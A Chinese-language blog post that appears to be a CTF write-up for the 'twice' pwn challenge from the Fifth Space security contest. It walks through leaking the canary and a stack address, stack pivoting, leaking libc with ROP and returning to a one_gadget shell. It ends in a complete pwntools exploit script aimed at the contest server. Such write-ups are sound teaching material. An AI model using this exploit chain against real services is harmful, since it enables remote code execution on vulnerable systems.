“第五空间” 智能安全大赛

比赛时当天有考试,就做了个签道题。

twice

查保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida分析

  • 程序可以给你2次的读操作,第一次读89字节,第二次读112字节
  • 栈大小是0x60,存在栈溢出。
0x7fffffffe3b0 --> 0x6097ecbc62682200
0x7fffffffe3b8 --> 0x6097ecbc62682200
0128| 0x7fffffffe3c0 --> 0x7fffffffe3d0 --> 0x4008c0 (<__libc_csu_init>:    push   r15)
0136| 0x7fffffffe3c8 --> 0x4008ad (<main+50>:    test   eax,eax)
0144| 0x7fffffffe3d0 --> 0x4008c0 (<__libc_csu_init>:    push   r15)
0152| 0x7fffffffe3d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:    mov    edi,eax)
0160| 0x7fffffffe3e0 --> 0x1
0168| 0x7fffffffe3e8 --> 0x7fffffffe4b8 --> 0x7fffffffe71f ("/media/psf/mypwn/no5space/pwn")
0176| 0x7fffffffe3f0 --> 0x1f7ffcca0
  • 调试发现第一次read,可以leak canary 和一个栈地址,从而可以根据偏移算出栈上其他有用的地址。
  • 第二次,需要填充一下canary,然后可以去攻击ret address

但是,并没有拿到libc的地址,是无法拿到shell。由于可以溢出的字节有限,也没法进行rop。

获取libc地址

此时,根据前面泄漏的栈地址,可以算出read函数的buf栈地址,然后栈迁移上去,然后进行rop来leak 出libc地址。

拿到libc地址以后,rop的终结地址为程序的start。让其清理栈,再次进行程序的漏洞利用。

exp


from pwn import *
import time
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('121.36.59.116',9999)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

# debug()
payload = "1" * 0x57 + 'a'
sla(">",payload)
ru('a')
canary = uu64(r(8)) - 0x0a
print(hex(canary))
s_base = uu64(r(6)) - 0x70
print(hex(s_base))  
pop_rsi_pop_r15_ret = 0x0000000000400921
pop_rbp_ret = 0x0000000000400690
pop_rdi_ret = 0x0000000000400923
leave_ret = 0x0000000000400879
rop = flat([0,pop_rdi_ret,elf.got['__libc_start_main'],elf.plt['puts'],0x0400630])
payload = rop.ljust(0x50,'\0')
payload += p64(canary) +p64(canary) + p64(s_base) + p64(leave_ret)
# debug()
sa(">",payload)
r(1)
libc_base = uu64(r(6)) - libc.symbols['__libc_start_main']
info_addr('libc_base',libc_base)
sla(">",'1')
ru('1')
rop = flat([0,pop_rdi_ret,elf.got['__libc_start_main'],elf.plt['puts'],0x0400630])
payload = rop.ljust(0x50,'\0')
payload += p64(canary) +p64(canary) + p64(libc_base+rce16[1]) + p64(libc_base+rce16[1])
sla(">",payload)
itr()
  • 注意在第二次发送payload不要发出去换行符。
  • 最后一次payload 中的rop什么的都是抄第一次的payload,只是把最后的ret address 改成 one gadget 。(只是填充字节用的)


pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!